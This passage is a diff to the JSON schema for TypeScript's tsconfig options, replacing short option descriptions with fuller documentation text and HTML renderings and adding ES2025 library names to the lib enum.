will be aware of the bundler&#39;s behavior for that filetype via the corresponding generated declaration file.</p>\n<pre><code class=\"language-ts\">// @filename: main.css.d.ts\nexport const appClass = &quot;mainClassF3EC2&quot;;\n// ---cut---\n// @filename: index.ts\nimport { appClass } from &quot;./main.css&quot;;\n</code></pre>\n"
             },
             "typeRoots": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify multiple folders that act like `./node_modules/@types`.",
+              "description": "By default all _visible_ \"`@types`\" packages are included in your compilation.\nPackages in `node_modules/@types` of any enclosing folder are considered _visible_.\nFor example, that means packages within `./node_modules/@types/`, `../node_modules/@types/`, `../../node_modules/@types/`, and so on.\n\nIf `typeRoots` is specified, _only_ packages under `typeRoots` will be included. For example:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"typeRoots\": [\"./typings\", \"./vendor/types\"]\n  }\n}\n```\n\nThis config file will include _all_ packages under `./typings` and `./vendor/types`, and no packages from `./node_modules/@types`.\nAll paths are relative to the `tsconfig.json`.",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
-              "markdownDescription": "Specify multiple folders that act like `./node_modules/@types`.\n\nSee more: https://www.typescriptlang.org/tsconfig#typeRoots"
+              "markdownDescription": "By default all _visible_ \"`@types`\" packages are included in your compilation.\nPackages in `node_modules/@types` of any enclosing folder are considered _visible_.\nFor example, that means packages within `./node_modules/@types/`, `../node_modules/@types/`, `../../node_modules/@types/`, and so on.\n\nIf `typeRoots` is specified, _only_ packages under `typeRoots` will be included. For example:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"typeRoots\": [\"./typings\", \"./vendor/types\"]\n  }\n}\n```\n\nThis config file will include _all_ packages under `./typings` and `./vendor/types`, and no packages from `./node_modules/@types`.\nAll paths are relative to the `tsconfig.json`.",
+              "x-intellij-html-description": "<p>By default all <em>visible</em> &quot;<code>@types</code>&quot; packages are included in your compilation.\nPackages in <code>node_modules/@types</code> of any enclosing folder are considered <em>visible</em>.\nFor example, that means packages within <code>./node_modules/@types/</code>, <code>../node_modules/@types/</code>, <code>../../node_modules/@types/</code>, and so on.</p>\n<p>If <code>typeRoots</code> is specified, <em>only</em> packages under <code>typeRoots</code> will be included. For example:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;typeRoots&quot;: [&quot;./typings&quot;, &quot;./vendor/types&quot;]\n  }\n}\n</code></pre>\n<p>This config file will include <em>all</em> packages under <code>./typings</code> and <code>./vendor/types</code>, and no packages from <code>./node_modules/@types</code>.\nAll paths are relative to the <code>tsconfig.json</code>.</p>\n"
             },
             "types": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify type package names to be included without being referenced in a source file.",
+              "description": "By default all _visible_ \"`@types`\" packages are included in your compilation.\nPackages in `node_modules/@types` of any enclosing folder are considered _visible_.\nFor example, that means packages within `./node_modules/@types/`, `../node_modules/@types/`, `../../node_modules/@types/`, and so on.\n\nIf `types` is specified, only packages listed will be included in the global scope. For instance:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"types\": [\"node\", \"jest\", \"express\"]\n  }\n}\n```\n\nThis `tsconfig.json` file will _only_ include `./node_modules/@types/node`, `./node_modules/@types/jest` and `./node_modules/@types/express`.\nOther packages under `node_modules/@types/*` will not be included.\n\n### What does this affect?\n\nThis option does not affect how `@types/*` are included in your application code, for example if you had the above `compilerOptions` example with code like:\n\n```ts\nimport * as moment from \"moment\";\n\nmoment().format(\"MMMM Do YYYY, h:mm:ss a\");\n```\n\nThe `moment` import would be fully typed.\n\nWhen you have this option set, by not including a module in the `types` array it:\n\n- Will not add globals to your project (e.g `process` in node, or `expect` in Jest)\n- Will not have exports appear as auto-import recommendations\n\nThis feature differs from [`typeRoots`](https://typescriptlang.org/tsconfig/#typeRoots) in that it is about specifying only the exact types you want included, whereas [`typeRoots`](https://typescriptlang.org/tsconfig/#typeRoots) supports saying you want particular folders.",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
-              "markdownDescription": "Specify type package names to be included without being referenced in a source file.\n\nSee more: https://www.typescriptlang.org/tsconfig#types"
+              "markdownDescription": "By default all _visible_ \"`@types`\" packages are included in your compilation.\nPackages in `node_modules/@types` of any enclosing folder are considered _visible_.\nFor example, that means packages within `./node_modules/@types/`, `../node_modules/@types/`, `../../node_modules/@types/`, and so on.\n\nIf `types` is specified, only packages listed will be included in the global scope. For instance:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"types\": [\"node\", \"jest\", \"express\"]\n  }\n}\n```\n\nThis `tsconfig.json` file will _only_ include `./node_modules/@types/node`, `./node_modules/@types/jest` and `./node_modules/@types/express`.\nOther packages under `node_modules/@types/*` will not be included.\n\n### What does this affect?\n\nThis option does not affect how `@types/*` are included in your application code, for example if you had the above `compilerOptions` example with code like:\n\n```ts\nimport * as moment from \"moment\";\n\nmoment().format(\"MMMM Do YYYY, h:mm:ss a\");\n```\n\nThe `moment` import would be fully typed.\n\nWhen you have this option set, by not including a module in the `types` array it:\n\n- Will not add globals to your project (e.g `process` in node, or `expect` in Jest)\n- Will not have exports appear as auto-import recommendations\n\nThis feature differs from [`typeRoots`](https://typescriptlang.org/tsconfig/#typeRoots) in that it is about specifying only the exact types you want included, whereas [`typeRoots`](https://typescriptlang.org/tsconfig/#typeRoots) supports saying you want particular folders.",
+              "x-intellij-html-description": "<p>By default all <em>visible</em> &quot;<code>@types</code>&quot; packages are included in your compilation.\nPackages in <code>node_modules/@types</code> of any enclosing folder are considered <em>visible</em>.\nFor example, that means packages within <code>./node_modules/@types/</code>, <code>../node_modules/@types/</code>, <code>../../node_modules/@types/</code>, and so on.</p>\n<p>If <code>types</code> is specified, only packages listed will be included in the global scope. For instance:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;types&quot;: [&quot;node&quot;, &quot;jest&quot;, &quot;express&quot;]\n  }\n}\n</code></pre>\n<p>This <code>tsconfig.json</code> file will <em>only</em> include <code>./node_modules/@types/node</code>, <code>./node_modules/@types/jest</code> and <code>./node_modules/@types/express</code>.\nOther packages under <code>node_modules/@types/*</code> will not be included.</p>\n<h3>What does this affect?</h3>\n<p>This option does not affect how <code>@types/*</code> are included in your application code, for example if you had the above <code>compilerOptions</code> example with code like:</p>\n<pre><code class=\"language-ts\">import * as moment from &quot;moment&quot;;\n\nmoment().format(&quot;MMMM Do YYYY, h:mm:ss a&quot;);\n</code></pre>\n<p>The <code>moment</code> import would be fully typed.</p>\n<p>When you have this option set, by not including a module in the <code>types</code> array it:</p>\n<ul>\n<li>Will not add globals to your project (e.g <code>process</code> in node, or <code>expect</code> in Jest)</li>\n<li>Will not have exports appear as auto-import recommendations</li>\n</ul>\n<p>This feature differs from <a href=\"https://typescriptlang.org/tsconfig/#typeRoots\"><code>typeRoots</code></a> in that it is about specifying only the exact types you want included, whereas <a href=\"https://typescriptlang.org/tsconfig/#typeRoots\"><code>typeRoots</code></a> supports saying you want particular folders.</p>\n"
             },
             "traceResolution": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "Enable tracing of the name resolution process. Requires TypeScript version 2.0 or later.",
               "type": ["boolean", "null"],
               "default": false
             },
             "allowJs": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Allow JavaScript files to be a part of your program. Use the `checkJS` option to get errors from these files.",
+              "description": "Allow JavaScript files to be imported inside your project, instead of just `.ts` and `.tsx` files. For example, this JS file:\n\n```js twoslash\n// @filename: card.js\nexport const defaultCardDeck = \"Heart\";\n```\n\nWhen imported into a TypeScript file will raise an error:\n\n```ts twoslash\n// @errors: 2307\n// @filename: card.js\nmodule.exports.defaultCardDeck = \"Heart\";\n// ---cut---\n// @filename: index.ts\nimport { defaultCardDeck } from \"./card\";\n\nconsole.log(defaultCardDeck);\n```\n\nImports fine with `allowJs` enabled:\n\n```ts twoslash\n// @filename: card.js\nmodule.exports.defaultCardDeck = \"Heart\";\n// ---cut---\n// @allowJs\n// @filename: index.ts\nimport { defaultCardDeck } from \"./card\";\n\nconsole.log(defaultCardDeck);\n```\n\nThis flag can be used as a way to incrementally add TypeScript files into JS projects by allowing the `.ts` and `.tsx` files to live along-side existing JavaScript files.\n\nIt can also be used along-side [`declaration`](https://typescriptlang.org/tsconfig/#declaration) and [`emitDeclarationOnly`](https://typescriptlang.org/tsconfig/#emitDeclarationOnly) to [create declarations for JS files](https://typescriptlang.org/docs/handbook/declaration-files/dts-from-js.html).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Allow JavaScript files to be a part of your program. Use the `checkJS` option to get errors from these files.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowJs"
+              "markdownDescription": "Allow JavaScript files to be imported inside your project, instead of just `.ts` and `.tsx` files. For example, this JS file:\n\n```js twoslash\n// @filename: card.js\nexport const defaultCardDeck = \"Heart\";\n```\n\nWhen imported into a TypeScript file will raise an error:\n\n```ts twoslash\n// @errors: 2307\n// @filename: card.js\nmodule.exports.defaultCardDeck = \"Heart\";\n// ---cut---\n// @filename: index.ts\nimport { defaultCardDeck } from \"./card\";\n\nconsole.log(defaultCardDeck);\n```\n\nImports fine with `allowJs` enabled:\n\n```ts twoslash\n// @filename: card.js\nmodule.exports.defaultCardDeck = \"Heart\";\n// ---cut---\n// @allowJs\n// @filename: index.ts\nimport { defaultCardDeck } from \"./card\";\n\nconsole.log(defaultCardDeck);\n```\n\nThis flag can be used as a way to incrementally add TypeScript files into JS projects by allowing the `.ts` and `.tsx` files to live along-side existing JavaScript files.\n\nIt can also be used along-side [`declaration`](https://typescriptlang.org/tsconfig/#declaration) and [`emitDeclarationOnly`](https://typescriptlang.org/tsconfig/#emitDeclarationOnly) to [create declarations for JS files](https://typescriptlang.org/docs/handbook/declaration-files/dts-from-js.html).",
+              "x-intellij-html-description": "<p>Allow JavaScript files to be imported inside your project, instead of just <code>.ts</code> and <code>.tsx</code> files. For example, this JS file:</p>\n<pre><code class=\"language-js\">// @filename: card.js\nexport const defaultCardDeck = &quot;Heart&quot;;\n</code></pre>\n<p>When imported into a TypeScript file will raise an error:</p>\n<pre><code class=\"language-ts\">// @errors: 2307\n// @filename: card.js\nmodule.exports.defaultCardDeck = &quot;Heart&quot;;\n// ---cut---\n// @filename: index.ts\nimport { defaultCardDeck } from &quot;./card&quot;;\n\nconsole.log(defaultCardDeck);\n</code></pre>\n<p>Imports fine with <code>allowJs</code> enabled:</p>\n<pre><code class=\"language-ts\">// @filename: card.js\nmodule.exports.defaultCardDeck = &quot;Heart&quot;;\n// ---cut---\n// @allowJs\n// @filename: index.ts\nimport { defaultCardDeck } from &quot;./card&quot;;\n\nconsole.log(defaultCardDeck);\n</code></pre>\n<p>This flag can be used as a way to incrementally add TypeScript files into JS projects by allowing the <code>.ts</code> and <code>.tsx</code> files to live along-side existing JavaScript files.</p>\n<p>It can also be used along-side <a href=\"https://typescriptlang.org/tsconfig/#declaration\"><code>declaration</code></a> and <a href=\"https://typescriptlang.org/tsconfig/#emitDeclarationOnly\"><code>emitDeclarationOnly</code></a> to <a href=\"https://typescriptlang.org/docs/handbook/declaration-files/dts-from-js.html\">create declarations for JS files</a>.</p>\n"
             },
             "noErrorTruncation": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable truncating types in error messages.",
+              "description": "Do not truncate error messages.\n\nWith `false`, the default.\n\n```ts twoslash\n// @errors: 2322 2454\nvar x: {\n  propertyWithAnExceedinglyLongName1: string;\n  propertyWithAnExceedinglyLongName2: string;\n  propertyWithAnExceedinglyLongName3: string;\n  propertyWithAnExceedinglyLongName4: string;\n  propertyWithAnExceedinglyLongName5: string;\n  propertyWithAnExceedinglyLongName6: string;\n  propertyWithAnExceedinglyLongName7: string;\n  propertyWithAnExceedinglyLongName8: string;\n};\n\n// String representation of type of 'x' should be truncated in error message\nvar s: string = x;\n```\n\nWith `true`\n\n```ts twoslash\n// @errors: 2322 2454\n// @noErrorTruncation: true\nvar x: {\n  propertyWithAnExceedinglyLongName1: string;\n  propertyWithAnExceedinglyLongName2: string;\n  propertyWithAnExceedinglyLongName3: string;\n  propertyWithAnExceedinglyLongName4: string;\n  propertyWithAnExceedinglyLongName5: string;\n  propertyWithAnExceedinglyLongName6: string;\n  propertyWithAnExceedinglyLongName7: string;\n  propertyWithAnExceedinglyLongName8: string;\n};\n\n// String representation of type of 'x' should be truncated in error message\nvar s: string = x;\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable truncating types in error messages.\n\nSee more: https://www.typescriptlang.org/tsconfig#noErrorTruncation"
+              "markdownDescription": "Do not truncate error messages.\n\nWith `false`, the default.\n\n```ts twoslash\n// @errors: 2322 2454\nvar x: {\n  propertyWithAnExceedinglyLongName1: string;\n  propertyWithAnExceedinglyLongName2: string;\n  propertyWithAnExceedinglyLongName3: string;\n  propertyWithAnExceedinglyLongName4: string;\n  propertyWithAnExceedinglyLongName5: string;\n  propertyWithAnExceedinglyLongName6: string;\n  propertyWithAnExceedinglyLongName7: string;\n  propertyWithAnExceedinglyLongName8: string;\n};\n\n// String representation of type of 'x' should be truncated in error message\nvar s: string = x;\n```\n\nWith `true`\n\n```ts twoslash\n// @errors: 2322 2454\n// @noErrorTruncation: true\nvar x: {\n  propertyWithAnExceedinglyLongName1: string;\n  propertyWithAnExceedinglyLongName2: string;\n  propertyWithAnExceedinglyLongName3: string;\n  propertyWithAnExceedinglyLongName4: string;\n  propertyWithAnExceedinglyLongName5: string;\n  propertyWithAnExceedinglyLongName6: string;\n  propertyWithAnExceedinglyLongName7: string;\n  propertyWithAnExceedinglyLongName8: string;\n};\n\n// String representation of type of 'x' should be truncated in error message\nvar s: string = x;\n```",
+              "x-intellij-html-description": "<p>Do not truncate error messages.</p>\n<p>With <code>false</code>, the default.</p>\n<pre><code class=\"language-ts\">// @errors: 2322 2454\nvar x: {\n  propertyWithAnExceedinglyLongName1: string;\n  propertyWithAnExceedinglyLongName2: string;\n  propertyWithAnExceedinglyLongName3: string;\n  propertyWithAnExceedinglyLongName4: string;\n  propertyWithAnExceedinglyLongName5: string;\n  propertyWithAnExceedinglyLongName6: string;\n  propertyWithAnExceedinglyLongName7: string;\n  propertyWithAnExceedinglyLongName8: string;\n};\n\n// String representation of type of &#39;x&#39; should be truncated in error message\nvar s: string = x;\n</code></pre>\n<p>With <code>true</code></p>\n<pre><code class=\"language-ts\">// @errors: 2322 2454\n// @noErrorTruncation: true\nvar x: {\n  propertyWithAnExceedinglyLongName1: string;\n  propertyWithAnExceedinglyLongName2: string;\n  propertyWithAnExceedinglyLongName3: string;\n  propertyWithAnExceedinglyLongName4: string;\n  propertyWithAnExceedinglyLongName5: string;\n  propertyWithAnExceedinglyLongName6: string;\n  propertyWithAnExceedinglyLongName7: string;\n  propertyWithAnExceedinglyLongName8: string;\n};\n\n// String representation of type of &#39;x&#39; should be truncated in error message\nvar s: string = x;\n</code></pre>\n"
             },
             "allowSyntheticDefaultImports": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Allow 'import x from y' when a module doesn't have a default export.",
+              "description": "When set to true, `allowSyntheticDefaultImports` allows you to write an import like:\n\n```ts\nimport React from \"react\";\n```\n\ninstead of:\n\n```ts\nimport * as React from \"react\";\n```\n\nWhen the module **does not** explicitly specify a default export.\n\nFor example, without `allowSyntheticDefaultImports` as true:\n\n```ts twoslash\n// @errors: 1259 1192\n// @checkJs\n// @allowJs\n// @esModuleInterop: false\n// @filename: utilFunctions.js\n// @noImplicitAny: false\nconst getStringLength = (str) => str.length;\n\nmodule.exports = {\n  getStringLength,\n};\n\n// @filename: index.ts\nimport utils from \"./utilFunctions\";\n\nconst count = utils.getStringLength(\"Check JS\");\n```\n\nThis code raises an error because there isn't a `default` object which you can import. Even though it feels like it should.\nFor convenience, transpilers like Babel will automatically create a default if one isn't created. Making the module look a bit more like:\n\n```js\n// @filename: utilFunctions.js\nconst getStringLength = (str) => str.length;\nconst allFunctions = {\n  getStringLength,\n};\n\nmodule.exports = allFunctions;\nmodule.exports.default = allFunctions;\n```\n\nThis flag does not affect the JavaScript emitted by TypeScript, it's only for the type checking.\nThis option brings the behavior of TypeScript in-line with Babel, where extra code is emitted to make using a default export of a module more ergonomic.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Allow 'import x from y' when a module doesn't have a default export.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowSyntheticDefaultImports"
+              "markdownDescription": "When set to true, `allowSyntheticDefaultImports` allows you to write an import like:\n\n```ts\nimport React from \"react\";\n```\n\ninstead of:\n\n```ts\nimport * as React from \"react\";\n```\n\nWhen the module **does not** explicitly specify a default export.\n\nFor example, without `allowSyntheticDefaultImports` as true:\n\n```ts twoslash\n// @errors: 1259 1192\n// @checkJs\n// @allowJs\n// @esModuleInterop: false\n// @filename: utilFunctions.js\n// @noImplicitAny: false\nconst getStringLength = (str) => str.length;\n\nmodule.exports = {\n  getStringLength,\n};\n\n// @filename: index.ts\nimport utils from \"./utilFunctions\";\n\nconst count = utils.getStringLength(\"Check JS\");\n```\n\nThis code raises an error because there isn't a `default` object which you can import. Even though it feels like it should.\nFor convenience, transpilers like Babel will automatically create a default if one isn't created. Making the module look a bit more like:\n\n```js\n// @filename: utilFunctions.js\nconst getStringLength = (str) => str.length;\nconst allFunctions = {\n  getStringLength,\n};\n\nmodule.exports = allFunctions;\nmodule.exports.default = allFunctions;\n```\n\nThis flag does not affect the JavaScript emitted by TypeScript, it's only for the type checking.\nThis option brings the behavior of TypeScript in-line with Babel, where extra code is emitted to make using a default export of a module more ergonomic.",
+              "x-intellij-html-description": "<p>When set to true, <code>allowSyntheticDefaultImports</code> allows you to write an import like:</p>\n<pre><code class=\"language-ts\">import React from &quot;react&quot;;\n</code></pre>\n<p>instead of:</p>\n<pre><code class=\"language-ts\">import * as React from &quot;react&quot;;\n</code></pre>\n<p>When the module <strong>does not</strong> explicitly specify a default export.</p>\n<p>For example, without <code>allowSyntheticDefaultImports</code> as true:</p>\n<pre><code class=\"language-ts\">// @errors: 1259 1192\n// @checkJs\n// @allowJs\n// @esModuleInterop: false\n// @filename: utilFunctions.js\n// @noImplicitAny: false\nconst getStringLength = (str) =&gt; str.length;\n\nmodule.exports = {\n  getStringLength,\n};\n\n// @filename: index.ts\nimport utils from &quot;./utilFunctions&quot;;\n\nconst count = utils.getStringLength(&quot;Check JS&quot;);\n</code></pre>\n<p>This code raises an error because there isn&#39;t a <code>default</code> object which you can import. Even though it feels like it should.\nFor convenience, transpilers like Babel will automatically create a default if one isn&#39;t created. Making the module look a bit more like:</p>\n<pre><code class=\"language-js\">// @filename: utilFunctions.js\nconst getStringLength = (str) =&gt; str.length;\nconst allFunctions = {\n  getStringLength,\n};\n\nmodule.exports = allFunctions;\nmodule.exports.default = allFunctions;\n</code></pre>\n<p>This flag does not affect the JavaScript emitted by TypeScript, it&#39;s only for the type checking.\nThis option brings the behavior of TypeScript in-line with Babel, where extra code is emitted to make using a default export of a module more ergonomic.</p>\n"
             },
             "noImplicitUseStrict": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable adding 'use strict' directives in emitted JavaScript files.",
+              "description": "You shouldn't need this. By default, when emitting a module file to a non-ES6 target, TypeScript emits a `\"use strict\";` prologue at the top of the file.\nThis setting disables the prologue.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable adding 'use strict' directives in emitted JavaScript files.\n\nSee more: https://www.typescriptlang.org/tsconfig#noImplicitUseStrict"
+              "markdownDescription": "You shouldn't need this. By default, when emitting a module file to a non-ES6 target, TypeScript emits a `\"use strict\";` prologue at the top of the file.\nThis setting disables the prologue.",
+              "x-intellij-html-description": "<p>You shouldn&#39;t need this. By default, when emitting a module file to a non-ES6 target, TypeScript emits a <code>&quot;use strict&quot;;</code> prologue at the top of the file.\nThis setting disables the prologue.</p>\n"
             },
             "listEmittedFiles": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Print the names of emitted files after a compilation.",
+              "description": "Print names of generated files part of the compilation to the terminal.\n\nThis flag is useful in two cases:\n\n- You want to transpile TypeScript as a part of a build chain in the terminal where the filenames are processed in the next command.\n- You are not sure that TypeScript has included a file you expected, as a part of debugging the [file inclusion settings](https://typescriptlang.org/tsconfig/#Project_Files_0).\n\nFor example:\n\n```\nexample\n├── index.ts\n├── package.json\n└── tsconfig.json\n```\n\nWith:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"declaration\": true,\n    \"listEmittedFiles\": true\n  }\n}\n```\n\nWould echo paths like:\n\n```\n$ npm run tsc\n\npath/to/example/index.js\npath/to/example/index.d.ts\n```\n\nNormally, TypeScript would return silently on success.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Print the names of emitted files after a compilation.\n\nSee more: https://www.typescriptlang.org/tsconfig#listEmittedFiles"
+              "markdownDescription": "Print names of generated files part of the compilation to the terminal.\n\nThis flag is useful in two cases:\n\n- You want to transpile TypeScript as a part of a build chain in the terminal where the filenames are processed in the next command.\n- You are not sure that TypeScript has included a file you expected, as a part of debugging the [file inclusion settings](https://typescriptlang.org/tsconfig/#Project_Files_0).\n\nFor example:\n\n```\nexample\n├── index.ts\n├── package.json\n└── tsconfig.json\n```\n\nWith:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"declaration\": true,\n    \"listEmittedFiles\": true\n  }\n}\n```\n\nWould echo paths like:\n\n```\n$ npm run tsc\n\npath/to/example/index.js\npath/to/example/index.d.ts\n```\n\nNormally, TypeScript would return silently on success.",
+              "x-intellij-html-description": "<p>Print names of generated files part of the compilation to the terminal.</p>\n<p>This flag is useful in two cases:</p>\n<ul>\n<li>You want to transpile TypeScript as a part of a build chain in the terminal where the filenames are processed in the next command.</li>\n<li>You are not sure that TypeScript has included a file you expected, as a part of debugging the <a href=\"https://typescriptlang.org/tsconfig/#Project_Files_0\">file inclusion settings</a>.</li>\n</ul>\n<p>For example:</p>\n<pre><code>example\n├── index.ts\n├── package.json\n└── tsconfig.json\n</code></pre>\n<p>With:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;declaration&quot;: true,\n    &quot;listEmittedFiles&quot;: true\n  }\n}\n</code></pre>\n<p>Would echo paths like:</p>\n<pre><code>$ npm run tsc\n\npath/to/example/index.js\npath/to/example/index.d.ts\n</code></pre>\n<p>Normally, TypeScript would return silently on success.</p>\n"
             },
             "disableSizeLimit": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Remove the 20mb cap on total source code size for JavaScript files in the TypeScript language server.",
+              "description": "To avoid a possible memory bloat issues when working with very large JavaScript projects, there is an upper limit to the amount of memory TypeScript will allocate. Turning this flag on will remove the limit.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Remove the 20mb cap on total source code size for JavaScript files in the TypeScript language server.\n\nSee more: https://www.typescriptlang.org/tsconfig#disableSizeLimit"
+              "markdownDescription": "To avoid a possible memory bloat issues when working with very large JavaScript projects, there is an upper limit to the amount of memory TypeScript will allocate. Turning this flag on will remove the limit.",
+              "x-intellij-html-description": "<p>To avoid a possible memory bloat issues when working with very large JavaScript projects, there is an upper limit to the amount of memory TypeScript will allocate. Turning this flag on will remove the limit.</p>\n"
             },
             "lib": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify a set of bundled library declaration files that describe the target runtime environment.",
+              "description": "TypeScript includes a default set of type definitions for built-in JS APIs (like `Math`), as well as type definitions for things found in browser environments (like `document`).\nTypeScript also includes APIs for newer JS features matching the [`target`](https://typescriptlang.org/tsconfig/#target) you specify; for example the definition for `Map` is available if [`target`](https://typescriptlang.org/tsconfig/#target) is `ES6` or newer.\n\nYou may want to change these for a few reasons:\n\n- Your program doesn't run in a browser, so you don't want the `\"dom\"` type definitions\n- Your runtime platform provides certain JavaScript API objects (maybe through polyfills), but doesn't yet support the full syntax of a given ECMAScript version\n- You have polyfills or native implementations for some, but not all, of a higher level ECMAScript version\n\nIn TypeScript 4.5, lib files can be overridden by npm modules, find out more [in the blog](https://devblogs.microsoft.com/typescript/announcing-typescript-4-5-beta/#supporting-lib-from-node_modules).\n\n### High Level libraries\n\n| Name         | Contents                                                                                                                                          |\n| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `ES5`        | Core definitions for all ES5 functionality                                                                                                        |\n| `ES2015`     | Additional APIs available in ES2015 (also known as ES6) - `array.find`, `Promise`, `Proxy`, `Symbol`, `Map`, `Set`, `Reflect`, etc.               |\n| `ES6`        | Alias for \"ES2015\"                                                                                                                                |\n| `ES2016`     | Additional APIs available in ES2016 - `array.include`, etc.                                                                                       |\n| `ES7`        | Alias for \"ES2016\"                                                                                                                                |\n| `ES2017`     | Additional APIs available in ES2017 - `Object.entries`, `Object.values`, `Atomics`, `SharedArrayBuffer`, `date.formatToParts`, typed arrays, etc. |\n| `ES2018`     | Additional APIs available in ES2018 - `async` iterables, `promise.finally`, `Intl.PluralRules`, `regexp.groups`, etc.                             |\n| `ES2019`     | Additional APIs available in ES2019 - `array.flat`, `array.flatMap`, `Object.fromEntries`, `string.trimStart`, `string.trimEnd`, etc.             |\n| `ES2020`     | Additional APIs available in ES2020 - `string.matchAll`, etc.                                                                                     |\n| `ES2021`     | Additional APIs available in ES2021 - `promise.any`, `string.replaceAll` etc.                                                                     |\n| `ES2022`     | Additional APIs available in ES2022 - `array.at`, `RegExp.hasIndices`, etc.                                                                       |\n| `ES2023`     | Additional APIs available in ES2023 - `array.with`, `array.findLast`, `array.findLastIndex`, `array.toSorted`, `array.toReversed`, etc.           |\n| `ESNext`     | Additional APIs available in ESNext - This changes as the JavaScript specification evolves                                                        |\n| `DOM`        | [DOM](https://developer.mozilla.org/docs/Glossary/DOM) definitions - `window`, `document`, etc.                                                   |\n| `WebWorker`  | APIs available in [WebWorker](https://developer.mozilla.org/docs/Web/API/Web_Workers_API/Using_web_workers) contexts                              |\n| `ScriptHost` | APIs for the [Windows Script Hosting System](https://wikipedia.org/wiki/Windows_Script_Host)                                                      |\n\n### Individual library components\n\n| Name                      |\n| ------------------------- |\n| `DOM.Iterable`            |\n| `ES2015.Core`             |\n| `ES2015.Collection`       |\n| `ES2015.Generator`        |\n| `ES2015.Iterable`         |\n| `ES2015.Promise`          |\n| `ES2015.Proxy`            |\n| `ES2015.Reflect`          |\n| `ES2015.Symbol`           |\n| `ES2015.Symbol.WellKnown` |\n| `ES2016.Array.Include`    |\n| `ES2017.object`           |\n| `ES2017.Intl`             |\n| `ES2017.SharedMemory`     |\n| `ES2017.String`           |\n| `ES2017.TypedArrays`      |\n| `ES2018.Intl`             |\n| `ES2018.Promise`          |\n| `ES2018.RegExp`           |\n| `ES2019.Array`            |\n| `ES2019.Object`           |\n| `ES2019.String`           |\n| `ES2019.Symbol`           |\n| `ES2020.String`           |\n| `ES2020.Symbol.wellknown` |\n| `ES2021.Promise`          |\n| `ES2021.String`           |\n| `ES2021.WeakRef`          |\n| `ESNext.AsyncIterable`    |\n| `ESNext.Array`            |\n| `ESNext.Intl`             |\n| `ESNext.Symbol`           |\n\nThis list may be out of date, you can see the full list in the [TypeScript source code](https://github.com/microsoft/TypeScript/tree/main/src/lib).",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-                "type": ["string", "null"],
+                "type": "string",
                 "anyOf": [
                   {
                     "enum": [
@@ -954,6 +983,7 @@
                       "ESNext.BigInt",
                       "ESNext.Collection",
                       "ESNext.Intl",
+                      "ESNext.Iterator",
                       "ESNext.Object",
                       "ESNext.Promise",
                       "ESNext.Regexp",
@@ -996,12 +1026,21 @@
                       "ES2024.Regexp",
                       "ES2024.SharedMemory",
                       "ES2024.String",
+                      "ES2025",
+                      "ES2025.Collection",
+                      "ES2025.Float16",
+                      "ES2025.Intl",
+                      "ES2025.Iterator",
+                      "ES2025.Promise",
+                      "ES2025.Regexp",
                       "Decorators",
                       "Decorators.Legacy",
                       "ES2017.Date",
                       "ES2023.Collection",
                       "ESNext.Decorators",
-                      "ESNext.Disposable"
+                      "ESNext.Disposable",
+                      "ESNext.Error",
+                      "ESNext.Sharedmemory"
                     ]
                   },
                   {
@@ -1037,6 +1076,9 @@
                   {
                     "pattern": "^[Ee][Ss]2024(\\.([Aa][Rr][Rr][Aa][Yy][Bb][Uu][Ff][Ff][Ee][Rr]|[Cc][Oo][Ll][Ll][Ee][Cc][Tt][Ii][Oo][Nn]|[Oo][Bb][Jj][Ee][Cc][Tt]|[Pp][Rr][Oo][Mm][Ii][Ss][Ee]|[Rr][Ee][Gg][Ee][Xx][Pp]|[Ss][Hh][Aa][Rr][Ee][Dd][Mm][Ee][Mm][Oo][Rr][Yy]|[Ss][Tt][Rr][Ii][Nn][Gg]))?$"
                   },
+                  {
